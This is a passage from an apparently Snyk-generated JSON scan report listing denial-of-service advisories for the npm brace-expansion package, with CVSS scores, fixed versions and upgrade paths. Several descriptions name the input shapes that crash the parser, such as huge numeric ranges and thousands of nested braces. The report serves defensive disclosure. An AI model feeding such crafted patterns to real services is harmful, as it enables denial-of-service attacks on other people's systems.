Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": 